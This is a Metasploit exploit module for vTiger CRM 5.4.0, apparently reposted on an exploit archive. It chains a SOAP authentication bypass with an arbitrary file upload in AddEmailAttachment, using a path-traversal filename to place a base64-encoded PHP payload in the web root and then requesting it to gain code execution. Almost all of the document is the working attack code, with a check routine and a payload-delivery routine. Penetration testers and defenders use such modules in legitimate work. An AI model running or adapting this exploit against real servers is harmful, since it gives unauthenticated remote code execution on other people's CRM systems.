vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload
2014-01-07 20:05:07
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
'Description' => %q{
vTiger CRM allows an user to bypass authentication when requesting SOAP services.
In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
service. By combining both vulnerabilities an attacker can upload and execute PHP
code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
10.04 and Windows 2003 SP2.
},
'Author' =>
[
'Egidio Romano', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3214' ],
[ 'CVE', '2013-3215' ],
[ 'OSVDB', '95902' ],
[ 'OSVDB', '95903' ],
[ 'BID', '61558' ],
[ 'BID', '61559' ],
[ 'EDB', '27279' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
# Arbitrary big number. The payload is sent base64 encoded
# into a POST SOAP request
'Space' => 262144, # 256k
'DisableNops' => true
},
'Targets' =>
[
[ 'vTigerCRM v5.4.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2013'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/'])
], self.class)
end
def check
test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4)))
res = send_soap_request(test_one)
unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/
return Exploit::CheckCode::Unknown
end
test_two = check_email_soap("admin")
res = send_soap_request(test_two)
if res and res.code == 200 and (res.body.blank? or res.body.to_s =~
/<return xsi:type="xsd:string">.*<\/return>/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
file_name = rand_text_alpha(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
soap = add_attachment_soap(file_name, php)
res = send_soap_request(soap)
print_status("#{peer} - Uploading payload...")
if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/
print_good("#{peer} - Upload successfully uploaded")
register_files_for_cleanup(file_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
end
def add_attachment_soap(file_name, file_data)
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:AddEmailAttachment",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("emailid", {'xsi:type' => 'xsd:string'})
crm.add_element("filedata", {'xsi:type' => 'xsd:string'})
crm.add_element("filename", {'xsi:type' => 'xsd:string'})
crm.add_element("filesize", {'xsi:type' => 'xsd:string'})
crm.add_element("filetype", {'xsi:type' => 'xsd:string'})
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['emailid'].text = rand_text_alpha(4+rand(4))
crm.elements['filedata'].text = "MSF_PAYLOAD"
crm.elements['filename'].text = "MSF_FILENAME"
crm.elements['filesize'].text = file_data.length.to_s
crm.elements['filetype'].text = "php"
crm.elements['username'].text = rand_text_alpha(4+rand(4))
xml_string = xml.to_s
xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data))
xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}")
return xml_string
end
def check_email_soap(user_name = "", session = "")
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:CheckEmailPermission",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['username'].text = user_name
crm.elements['session'].text = session
xml.to_s
end
def send_soap_request(soap_data)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => soap_data
})
return res
end
end
